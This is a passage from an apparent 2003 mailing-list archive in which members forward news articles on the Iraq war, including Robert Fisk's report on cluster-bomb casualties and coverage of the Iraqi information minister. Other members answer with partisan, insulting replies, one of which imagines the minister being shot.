worked around the clock to do as much as they could. They just had to manage, that was all." The city is no longer accessible, he added. Red Cross staff are also concerned about what may be happening in other smaller centres south of Baghdad. "We do not know what is going on in Najaf and Kabala. It has become physically impossible for us to reach out to those cities because the major road has become a zone of combat." The Red Cross was able to claim one significant success this week: it played a key role in re-establishing water supplies at Basra. Power for a water-pumping station had been accidentally knocked out in the attack on the city, leaving about a million people without water. Iraqi technicians couldn't reach the station to repair it because it was under coalition control. The Red Cross was able to negotiate safe passage for a group of Iraqi engineers who crossed the fire line and made repairs. Basra now has 90 per cent of its normal water supply, said Huguenin. Huguenin, a Swiss, is one of six international Red Cross workers still in Baghdad. The team includes two Canadians, Vatche Arslanian of Oromocto, N.B., and Kassandra Vartell of Calgary. The Red Cross expects the humanitarian crisis in Iraq to grow and is calling for donations to help cope. The Red Cross Web site is: http://www.redcross.ca/ (In accordance with Title 17 U.S.C. Section 107, this material is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes.) From vortexb-l-request@eskimo.com Sat Apr 5 05:42:53 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id FAA02689; Sat, 5 Apr 2003 05:38:44 -0800 Resent-Date: Sat, 5 Apr 2003 05:38:44 -0800 Message-ID: <014801c2fb78$895806d0$468f3a41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: Wag the dog... Date: Sat, 5 Apr 2003 06:37:33 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id FAA02565 Resent-Message-ID: <"ASTdZ1.0.yf.anjZ-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1606 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 84 http://www.cbc.ca/stories/2003/04/04/sahhaf040403 U.S. 'wags the dog' with lies, Iraq says Last Updated Fri, 04 Apr 2003 19:50:35 BAGHDAD - Iraq's information minister says Iraqi troops have isolated five American and British units near Baghdad and stopped them from advancing on the capital. INDEPTH: Iraq Mohammed Saeed Al-Sahhaf Mohammed Saeed Al-Sahhaf told a news conference in Baghdad Friday that reports of recent coalition advances on the capital are an American invention. "What they have done yesterday and this morning is exactly what happened in that film Wag the Dog," he said. It is a reference to a 1998 movie in which a public relations expert works with the White House to make Americans believe the country is fighting and winning a war. Al-Sahhaf said the capture of the Baghdad airport by U.S. troops is just a "show of muscle." The information minister said Iraqi Republican Guard troops engaged coalition paratroopers north of the city early Friday morning. He said the Iraqi forces destroyed 11 tanks and eight armoured personnel carriers. Al-Sahhaf also made a cryptic statement, saying Iraqi forces will perform an "unconventional act" on coalition troops Friday night. Asked whether that meant using chemical or biological weapons, he said, "What I meant are commando and martyrdom operations in a very new, creative way." Written by CBC News Online staff H e a d l i n e s : W o r l d Coalition troops in heart of Baghdad Bodies of 8 U.S. soldiers identified Saddam on TV, urges Iraqis to resist Cleric urges Iraqis not to interfere: report U.S. troops seize, rename airport near Baghdad U.S. 'wags the dog' with lies, Iraq says Car explodes at coalition checkpoint, killing 5 Thousands flee Baghdad Iraq may 'escalate horrible tactics': Pentagon Bush to visit Northern Ireland with Blair Blair promises postwar Iraq will be run by Iraqis Iraqis in Jordan don't believe TV news of U.S. advance Blair tries to soothe Arab concerns First U.S. journalist killed in Iraq U.S. soldier faces murder charges in grenade attack From vortexb-l-request@eskimo.com Sun Apr 6 04:50:11 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id EAA11948; Sun, 6 Apr 2003 04:47:05 -0700 Resent-Date: Sun, 6 Apr 2003 04:47:05 -0700 Message-ID: <045d01c2fc32$27d85ad0$468f3a41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: Unknown unknowns ...etc ..An exercise in logical thinking Date: Sun, 6 Apr 2003 04:46:22 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id EAA11854 Resent-Message-ID: <"Ov8Oy3.0.dw2.uE1a-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1607 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 85 < And it will be known to you, Probably before we decide it, But it will be known. > One can only wonder what Rumi had in mind, WWIII? Is US Rumsfield a poet while his friend Bushi, a sceenplayer? Enjoy reading t parts from the Rumi's official speeches, Anna The Unknown As we know, There are known knowns. There are things we know we know. We also know There are known unknowns. That is to say We know there are some things We do not know. But there are also unknown unknowns, The ones we don't know We don't know. —Feb. 12, 2002, Department of Defense news briefing Glass Box You know, it's the old glass box at the— At the gas station, Where you're using those little things Trying to pick up the prize, And you can't find it. It's— And it's all these arms are going down in there, And so you keep dropping it And picking it up again and moving it, But— Some of you are probably too young to remember those— Those glass boxes, But— But they used to have them At all the gas stations When I was a kid. —Dec. 6, 2001, Department of Defense news briefing A Confession Once in a while, I'm standing here, doing something. And I think, "What in the world am I doing here?" It's a big surprise. —May 16, 2001, interview with the New York Times Happenings You're going to be told lots of things. You get told things every day that don't happen. It doesn't seem to bother people, they don't— It's printed in the press. The world thinks all these things happen. They never happened. Everyone's so eager to get the story Before in fact the story's there That the world is constantly being fed Things that haven't happened. All I can tell you is, It hasn't happened. It's going to happen. —Feb. 28, 2003, Department of Defense briefing The Digital Revolution Oh my goodness gracious, What you can buy off the Internet In terms of overhead photography! A trained ape can know an awful lot Of what is going on in this world, Just by punching on his mouse For a relatively modest cost! —June 9, 2001, following European trip The Situation Things will not be necessarily continuous. The fact that they are something other than perfectly continuous Ought not to be characterized as a pause. There will be some things that people will see. There will be some things that people won't see. And life goes on. —Oct. 12, 2001, Department of Defense news briefing Clarity I think what you'll find, I think what you'll find is, Whatever it is we do substantively, There will be near-perfect clarity As to what it is. And it will be known, And it will be known to the Congress, And it will be known to you, Probably before we decide it, But it will be known. From vortexb-l-request@eskimo.com Sun Apr 6 06:47:18 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id GAA19436; Sun, 6 Apr 2003 06:44:45 -0700 Resent-Date: Sun, 6 Apr 2003 06:44:45 -0700 Message-ID: <054d01c2fc42$a1681830$468f3a41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: liberating US from Iraq Date: Sun, 6 Apr 2003 06:44:18 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id GAA19398 Resent-Message-ID: <"QMVEd1.0.Xl4.Cz2a-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1608 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 86 Hail of Cluster Bombs Leaves a Trail of Death Robert Fisk, The Independent BABYLON, 3 April 2003 — The wounds are vicious and deep, a rash of scarlet spots on the back and thighs or face, the shards of shrapnel from the cluster bombs buried an inch or more in the flesh. The wards of the Hilla teaching hospital are proof that something illegal — something quite outside the Geneva Conventions — occurred in the villages around the city once known as Babylon. The wailing children, the young women with breast and leg wounds, the ten patients upon whom doctors had to perform brain surgery to remove metal from their heads, talk of the days and nights when the explosives fell “like grapes” from the sky. Cluster bombs, the doctors say — and the detritus of the air raids around the hamlets of Nadr and Djifil and Akramin and Mahawil and Mohandesin and Hail Askeri shows — that they are right. Were they American or British aircraft which showered these villages with one of the most lethal weapons of modern warfare? The 61 dead who have passed through the Hilla hospital since Saturday night cannot tell us. Nor can the survivors who, in many cases, were sitting in their homes when the white canisters opened high above their village, spilling thousands of bomblets into the sky, exploding in the air, soaring through windows and doorways to burst indoors or bouncing off the roofs of the concrete huts to blow up later in the roadways. Rahed Hakem remembers that it was 10.30 on Sunday morning, when she was sitting in her home in Nadr, that she heard “the voice of explosions” and looked out of the door to see “the sky raining fire”. She said the bomblets were a black-gray color. Muhammad Moussa described the clusters of “little boxes” that fell out of the sky in the same village and thought they were silver colored. They fell like “small grapefruit,” he said. “If it hadn’t exploded and you touched it, it went off immediately,” he said. “They exploded in the air and on the ground and we still have some in our home, unexploded.” Karima Mizler thought the bomblets had some kind of wires attached to them — perhaps the metal “butterfly” which contains sets of the tiny cluster bombs and which springs open to release them in showers above the ground. Some died at once, mostly women and children, some of whose blackened, decomposing remains lay in the tiny charnel house mortuary at the back of the Hilla hospital. The teaching college received more than 200 wounded since Saturday night — the 61 dead are only those who were brought to the hospital or who died during or after surgery, and many others are believed to have been buried in their home villages — and of these doctors say about 80 percent were civilians. Soldiers there certainly were, at least 40 if these statistics are to be believed, and amid the foul clothing of the dead outside the mortuary door I found a khaki military belt and a combat jacket. But village men can also be soldiers and both they and their wives and daughters insisted there were no military installations around their homes. True or false? Who is to know if a tank or a missile launcher was positioned in a nearby field — as they were along the highway north to Baghdad yesterday? But the Geneva Conventions demand protection for civilians even if they are intermingled with military personnel, and the use of cluster bombs in these villages — even if aimed at military targets — thus crosses the boundaries of international law. So it was that 27-year-old Asil Yamin came to receive those awful round wounds in her back. And so five-year-old Zaman Abbasi was hit in the legs and 48-year-old Samira Abul-Hamza in the eyes, chest and legs. Her son Haidar, a 32-year-old soldier, said that the containers which fell to the ground were white with some red and green sometimes painted on them. ‘’It is like a grenade and they came into the houses,” he said. “Some stayed on the land, others exploded.” Heartbreaking is the only word to describe 10-year-old Maryam Nasr and her five-year-old sister Hoda. Maryam has a patch over her right eye where a piece of bomblet embedded itself, and wounds to the stomach and thighs. I didn’t realize that Hoda, standing by her sister’s bed, was wounded until her mother carefully lifted the little girl’s scarf and long hair to show a deep puncture in the right side of her head, just above her ear, congealed blood sticking to her hair but the wound still gently bleeding. Their mother described how she had been inside her home and heard an explosion and found her daughters in a pool of blood near the door. The little girls alternately smiled and hid when I took their pictures. In other wards, the hideously wounded would try to laugh, to show their bravery. It was a humbling experience. The Iraqi authorities, of course, were all too ready to allow us journalists access to these patients. But there was no way these children and often uneducated parents could manufacture their stories of tragedy and pain. Nor could the Iraqis have faked the scene in Nadr village where the remains of the tiny bomblets littered the ground beside the scorch marks of the explosions, and where could be found the remains of the tiny parachutes upon which the bomb clusters float to the ground once their containers have broken open. A crew from Sky Television even managed to bring a set of bomblet shrapnel back to Baghdad from Nadr with them, the wicked little metal balls that are intended to puncture the human body still locked into their frame like cough sweets in a metal sheath. They were of a black color which glinted silver when held against the light. So were the aircraft that dropped these terrible weapons American or British? The deputy administrator of the Hilla hospital and one of his doctors told a confused tale of military action around the city in recent days, of Apache helicopters that would disgorge Special Forces troops on the road to Karbala; one of their operations — if the hospital personnel are to be believed — went spectacularly wrong one night when militiamen forced them to retreat. Shortly afterward, the cluster bomb raids began, although the villages that were targeted appear to have been on the other side of Hilla to the abortive American attack. One thing was clear: that there is no “front line” in the fighting around Babylon, that US forces strike into the land around the Tigris River by air and then withdraw and that Iraqi forces do much the same in the other direction. Only the Americans and British, of course, have air superiority — indeed there is no evidence that a single Iraqi aircraft has taken off since the start of the Anglo-American invasion — so even the US and British officers back at their Qatar command headquarters can hardly claim the cluster bombs were dropped by Iraq. The most recent raid occurred on Tuesday when 11 civilians were killed — two of them women and three of them children — in a village called Hindiyeh. A man sent to collect the corpses reported to the hospital that the only living thing he found in the area of the bodies was a hen. Iraqi bomb disposal officers were ordered into the villages yesterday afternoon to clear the unexploded ordnance. Needless to say, it is not the first time that cluster bombs have been used against civilians. During Israel’s 1982 siege of West Beirut, its air force dropped cluster bomblets manufactured for the US Navy across several areas of the city, especially in the Fakhani and Ouzai districts, causing civilians ferocious and deep wounds identical to those I saw in Hilla on Tuesday. Angry at the misuse of their weapons, which are designed for use against exclusively military targets, the Reagan administration withheld a shipment of fighter bombers for Israel — then relented a few weeks later and sent the aircraft anyway From vortexb-l-request@eskimo.com Sun Apr 6 13:58:04 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id NAA27108; Sun, 6 Apr 2003 13:55:30 -0700 Resent-Date: Sun, 6 Apr 2003 13:55:30 -0700 Message-ID: <006e01c2fc7f$54105d80$1202a8c0@WorkGroup> From: "Dave N." To: References: <054d01c2fc42$a1681830$468f3a41@annamort> Subject: Re: liberating US from Iraq Date: Sun, 6 Apr 2003 16:56:18 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"_WBrd3.0.Vd6.2H9a-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1611 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 87 Anna, As usual, your ability to distort the truth to fit your own narrow, psychotic world view knows no bounds. It's bad enough that you felt the need to post a 'hit piece' rife with distortions and outright lies from a blatantly biased organization (don't believe me? Check this out: http://argument.independent.co.uk/commentators/ ), but then you go so far as to *even exclude the last paragraph* from the article, evidently because it doesn't fit in with your views: "It is not easy to listen to Iraqi officials condemning the use of illegal weapons when the Iraqi air force has itself dropped poison gas on the Iranian army and on pro-Iranian Kurdish villages during the 1980-88 war against Iran. Outraged claims from Iraqi officials at the abuse of human rights sound like a bell with a very hollow ring. But something terrible happened around Hillah this week, something unforgivable and something contrary to international law. One hesitates, as I say, to talk of human rights in this land of torture but if the Americans and British don't watch out, they are likely to find themselves condemned for what they have always – and rightly – accused Iraq of: war crimes" That paragraph must be why you didn't include a link to it. Keep me honest - compare the full story here: http://argument.independent.co.uk/commentators/story.jsp?story=393458 With what she posted. Dave! PS Aren't you going to keep us posted on your Hitler exoneration project? When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Anna M*" To: "MetaExistence" Sent: Sunday, April 06, 2003 9:44 AM Subject: liberating US from Iraq | | Hail of Cluster Bombs Leaves a Trail of Death | Robert Fisk, The Independent | | | | BABYLON, 3 April 2003 — The wounds are vicious and deep, a rash of scarlet spots on the back and thighs or face, the shards of shrapnel from the cluster bombs buried an inch or more in the flesh. The wards of the Hilla teaching hospital are proof that something illegal — something quite outside the Geneva Conventions — occurred in the villages around the city once known as Babylon. | | The wailing children, the young women with breast and leg wounds, the ten patients upon whom doctors had to perform brain surgery to remove metal from their heads, talk of the days and nights when the explosives fell “like grapes” from the sky. Cluster bombs, the doctors say — and the detritus of the air raids around the hamlets of Nadr and Djifil and Akramin and Mahawil and Mohandesin and Hail Askeri shows — that they are right. | | Were they American or British aircraft which showered these villages with one of the most lethal weapons of modern warfare? The 61 dead who have passed through the Hilla hospital since Saturday night cannot tell us. Nor can the survivors who, in many cases, were sitting in their homes when the white canisters opened high above their village, spilling thousands of bomblets into the sky, exploding in the air, soaring through windows and doorways to burst indoors or bouncing off the roofs of the concrete huts to blow up later in the roadways. | | Rahed Hakem remembers that it was 10.30 on Sunday morning, when she was sitting in her home in Nadr, that she heard “the voice of explosions” and looked out of the door to see “the sky raining fire”. She said the bomblets were a black-gray color. Muhammad Moussa described the clusters of “little boxes” that fell out of the sky in the same village and thought they were silver colored. They fell like “small grapefruit,” he said. “If it hadn’t exploded and you touched it, it went off immediately,” he said. “They exploded in the air and on the ground and we still have some in our home, unexploded.” | | Karima Mizler thought the bomblets had some kind of wires attached to them — perhaps the metal “butterfly” which contains sets of the tiny cluster bombs and which springs open to release them in showers above the ground. Some died at once, mostly women and children, some of whose blackened, decomposing remains lay in the tiny charnel house mortuary at the back of the Hilla hospital. | | The teaching college received more than 200 wounded since Saturday night — the 61 dead are only those who were brought to the hospital or who died during or after surgery, and many others are believed to have been buried in their home villages — and of these doctors say about 80 percent were civilians. | | Soldiers there certainly were, at least 40 if these statistics are to be believed, and amid the foul clothing of the dead outside the mortuary door I found a khaki military belt and a combat jacket. But village men can also be soldiers and both they and their wives and daughters insisted there were no military installations around their homes. True or false? Who is to know if a tank or a missile launcher was positioned in a nearby field — as they were along the highway north to Baghdad yesterday? But the Geneva Conventions demand protection for civilians even if they are intermingled with military personnel, and the use of cluster bombs in these villages — even if aimed at military targets — thus crosses the boundaries of international law. | | So it was that 27-year-old Asil Yamin came to receive those awful round wounds in her back. And so five-year-old Zaman Abbasi was hit in the legs and 48-year-old Samira Abul-Hamza in the eyes, chest and legs. Her son Haidar, a 32-year-old soldier, said that the containers which fell to the ground were white with some red and green sometimes painted on them. ‘’It is like a grenade and they came into the houses,” he said. “Some stayed on the land, others exploded.” | | Heartbreaking is the only word to describe 10-year-old Maryam Nasr and her five-year-old sister Hoda. Maryam has a patch over her right eye where a piece of bomblet embedded itself, and wounds to the stomach and thighs. I didn’t realize that Hoda, standing by her sister’s bed, was wounded until her mother carefully lifted the little girl’s scarf and long hair to show a deep puncture in the right side of her head, just above her ear, congealed blood sticking to her hair but the wound still gently bleeding. | | Their mother described how she had been inside her home and heard an explosion and found her daughters in a pool of blood near the door. The little girls alternately smiled and hid when I took their pictures. In other wards, the hideously wounded would try to laugh, to show their bravery. It was a humbling experience. | | The Iraqi authorities, of course, were all too ready to allow us journalists access to these patients. But there was no way these children and often uneducated parents could manufacture their stories of tragedy and pain. Nor could the Iraqis have faked the scene in Nadr village where the remains of the tiny bomblets littered the ground beside the scorch marks of the explosions, and where could be found the remains of the tiny parachutes upon which the bomb clusters float to the ground once their containers have broken open. A crew from Sky Television even managed to bring a set of bomblet shrapnel back to Baghdad from Nadr with them, the wicked little metal balls that are intended to puncture the human body still locked into their frame like cough sweets in a metal sheath. They were of a black color which glinted silver when held against the light. | | So were the aircraft that dropped these terrible weapons American or British? The deputy administrator of the Hilla hospital and one of his doctors told a confused tale of military action around the city in recent days, of Apache helicopters that would disgorge Special Forces troops on the road to Karbala; one of their operations — if the hospital personnel are to be believed — went spectacularly wrong one night when militiamen forced them to retreat. Shortly afterward, the cluster bomb raids began, although the villages that were targeted appear to have been on the other side of Hilla to the abortive American attack. | | One thing was clear: that there is no “front line” in the fighting around Babylon, that US forces strike into the land around the Tigris River by air and then withdraw and that Iraqi forces do much the same in the other direction. Only the Americans and British, of course, have air superiority — indeed there is no evidence that a single Iraqi aircraft has taken off since the start of the Anglo-American invasion — so even the US and British officers back at their Qatar command headquarters can hardly claim the cluster bombs were dropped by Iraq. | | The most recent raid occurred on Tuesday when 11 civilians were killed — two of them women and three of them children — in a village called Hindiyeh. A man sent to collect the corpses reported to the hospital that the only living thing he found in the area of the bodies was a hen. Iraqi bomb disposal officers were ordered into the villages yesterday afternoon to clear the unexploded ordnance. | | Needless to say, it is not the first time that cluster bombs have been used against civilians. During Israel’s 1982 siege of West Beirut, its air force dropped cluster bomblets manufactured for the US Navy across several areas of the city, especially in the Fakhani and Ouzai districts, causing civilians ferocious and deep wounds identical to those I saw in Hilla on Tuesday. Angry at the misuse of their weapons, which are designed for use against exclusively military targets, the Reagan administration withheld a shipment of fighter bombers for Israel — then relented a few weeks later and sent the aircraft anyway | | From vortexb-l-request@eskimo.com Mon Apr 7 01:47:59 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id BAA12773; Mon, 7 Apr 2003 01:45:21 -0700 Resent-Date: Mon, 7 Apr 2003 01:45:21 -0700 Message-ID: <019201c2fce1$f75f1500$b1013b41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: War with the world? Good! Date: Mon, 7 Apr 2003 01:44:52 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id BAA12745 Resent-Message-ID: <"zNIon3.0.R73.WgJa-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1612 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 88 War with the world? Good! >From today's New York Times: "Shortly after Defense Secretary Donald H. Rumsfeld issued a stark warning to Iran and Syria last week, declaring that any 'hostile acts' they committed on behalf of Iraq might prompt severe consequences, one of President Bush's closest aides stepped into the Oval Office to warn him that his unpredictable defense secretary had just raised the specter of a broader confrontation. Mr. Bush smiled a moment at the latest example of Mr. Rumsfeld's brazenness, recalled the aide. Then he said one word — 'Good' — and went back to work." Posted on April 6, 2003 @ 11:47AM. Osama Redux The Bush White House is already at it again. Now it's no longer important to find Saddam Hussein, says Ari Fleischer. He told reporters today, "What's important in the president's judgment is that the regime be disarmed and that the regime be changed so the Iraqi people can be free and liberated." P Here come the evangelicals The Guardian reports, "Poised behind the troops, waiting for a signal that Iraq is safe enough for them to operate in, are the evangelical Christians - carrying food in one hand and the Bible in the other." Leading the Christian charge is son of Billy Graham, Franklin Graham, who has described Islam as wicked and violent. Posted on April 4, 2003 @ 10:48AM. osted on April 4, 2003 @ 1:35PM. From vortexb-l-request@eskimo.com Mon Apr 7 02:21:17 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id CAA22144; Mon, 7 Apr 2003 02:19:28 -0700 Resent-Date: Mon, 7 Apr 2003 02:19:28 -0700 Mime-Version: 1.0 X-Sender: rick@mail.highsurf.com Message-Id: In-Reply-To: <006d01c2fc7f$539adf60$1202a8c0@WorkGroup> References: <058701c2fc4d$834ae480$468f3a41@annamort> <006d01c2fc7f$539adf60$1202a8c0@WorkGroup> Date: Sun, 6 Apr 2003 23:18:16 -1000 To: vortexb-l@eskimo.com From: Rick Monteverde Subject: Re: The war that may end the age Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id CAA22105 Resent-Message-ID: <"vk8WV1.0.xP5.VAKa-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1613 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 89 Dave - >This is one of the funniest things you've posted to date! This is a COMMUNIST website!!! >Everybody, be sure to read the responses to the article as they're absolutely hysterical. Gee whooda thunkit? Anti-American propaganda from commies?! Got to hand it to her - when it comes to finding sources of material for her posts, she don' need no steenking credibility. Reminds me of Baghdad Bob, holding a press conference declaring there are no American forces at the airport, let alone inside Baghdad. It was incredible, almost equal to a Saturday Night Live skit. BB on the hotel roof one hand, and on the other, an embedded reporter doing his piece in the parade grounds a few blocks away with American forces. Really, I just find it a bit hard to think she really believes or agrees with the nonsense she dredges up. No even marginally sane educated human being could. I think she's just a compulsive troll. But look at us lapping it up. ;) - RM From vortexb-l-request@eskimo.com Mon Apr 7 10:58:23 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id KAA13991; Mon, 7 Apr 2003 10:55:14 -0700 Resent-Date: Mon, 7 Apr 2003 10:55:14 -0700 Message-ID: <00c101c2fd2e$bd3e60e0$1202a8c0@WorkGroup> From: "Dave N." To: References: <058701c2fc4d$834ae480$468f3a41@annamort> <006d01c2fc7f$539adf60$1202a8c0@WorkGroup> Subject: Re: The war that may end the age Date: Mon, 7 Apr 2003 13:52:48 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"pUx_g1.0.OQ3.1kRa-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1614 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 90 Rick, Heh, and here I thought I was just a lone voice screaming bloody murder in the darkness... ; ) One report said that at one point if the minister had looked over his shoulder, he actually would have seen 3 Bradley fighting vehicles coming into view..! I keep waiting for him to be standing there, blathering on, and suddenly all the reporters pull way back, which causes him to pause, look around and see the Bushmaster chaingun which is trained on him and... Bup bup bup bup ba-Boom! Splat! Yeaaaaaa!!!!!! That's the only thing I can think that would top that shot of Saddam's statue of him on horseback being pulverized by a tank round. I actually stayed up and saw that live last night, very reminiscent of that famous footage of the Swastika being blown up at the Nuremberg stadium by the Allies at the end of W.W.II. I do have to admit though, I pray they planned the peace as well as they planned the war - and that it goes as well or better. Best, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Rick Monteverde" To: Sent: Monday, April 07, 2003 5:18 AM Subject: Re: The war that may end the age | Dave - | | >This is one of the funniest things you've posted to date! This is a COMMUNIST website!!! | >Everybody, be sure to read the responses to the article as they're absolutely hysterical. | | Gee whooda thunkit? Anti-American propaganda from commies?! Got to hand it to her - when it comes to finding sources of material for her posts, she don' need no steenking credibility. Reminds me of Baghdad Bob, holding a press conference declaring there are no American forces at the airport, let alone inside Baghdad. It was incredible, almost equal to a Saturday Night Live skit. BB on the hotel roof one hand, and on the other, an embedded reporter doing his piece in the parade grounds a few blocks away with American forces. | | Really, I just find it a bit hard to think she really believes or agrees with the nonsense she dredges up. No even marginally sane educated human being could. I think she's just a compulsive troll. But look at us lapping it up. ;) | | - RM | From vortexb-l-request@eskimo.com Mon Apr 7 11:02:55 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id KAA15868; Mon, 7 Apr 2003 10:58:21 -0700 Resent-Date: Mon, 7 Apr 2003 10:58:21 -0700 Message-ID: <00d401c2fd2f$2e3969c0$1202a8c0@WorkGroup> From: "Dave N." To: References: <019201c2fce1$f75f1500$b1013b41@annamort> Subject: Re: War with the world? Good! Date: Mon, 7 Apr 2003 13:55:51 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"1DCfl.0.lt3.ymRa-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1615 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 91 Anna, You need to get out more. Best, Dave PS You also need to delete the 'reply to' address in your email client so responses go to the list instead of you. When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Anna M*" To: "MetaExistence" Sent: Monday, April 07, 2003 4:44 AM Subject: War with the world? Good! | War with the world? Good! | From today's New York Times: "Shortly after Defense Secretary Donald H. Rumsfeld issued a stark warning to Iran and Syria last week, declaring that any 'hostile acts' they committed on behalf of Iraq might prompt severe consequences, one of President Bush's closest aides stepped into the Oval Office to warn him that his unpredictable defense secretary had just raised the specter of a broader confrontation. Mr. Bush smiled a moment at the latest example of Mr. Rumsfeld's brazenness, recalled the aide. Then he said one word — 'Good' — and went back to work." | Posted on April 6, 2003 @ 11:47AM. | | Osama Redux | The Bush White House is already at it again. Now it's no longer important to find Saddam Hussein, says Ari Fleischer. He told reporters today, "What's important in the president's judgment is that the regime be disarmed and that the regime be changed so the Iraqi people can be free and liberated." | P | | Here come the evangelicals | The Guardian reports, "Poised behind the troops, waiting for a signal that Iraq is safe enough for them to operate in, are the evangelical Christians - carrying food in one hand and the Bible in the other." Leading the Christian charge is son of Billy Graham, Franklin Graham, who has described Islam as wicked and violent. | Posted on April 4, 2003 @ 10:48AM. | | osted on April 4, 2003 @ 1:35PM. | | From vortexb-l-request@eskimo.com Mon Apr 7 11:30:41 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA31498; Mon, 7 Apr 2003 11:26:52 -0700 Resent-Date: Mon, 7 Apr 2003 11:26:52 -0700 Message-ID: <012901c2fd33$2bda9560$1202a8c0@WorkGroup> From: "Dave N." To: References: <058701c2fc4d$834ae480$468f3a41@annamort> <006d01c2fc7f$539adf60$1202a8c0@WorkGroup> Subject: Saddam Speech Suspiciously Mentions Nelly Song From Last Summer Date: Mon, 7 Apr 2003 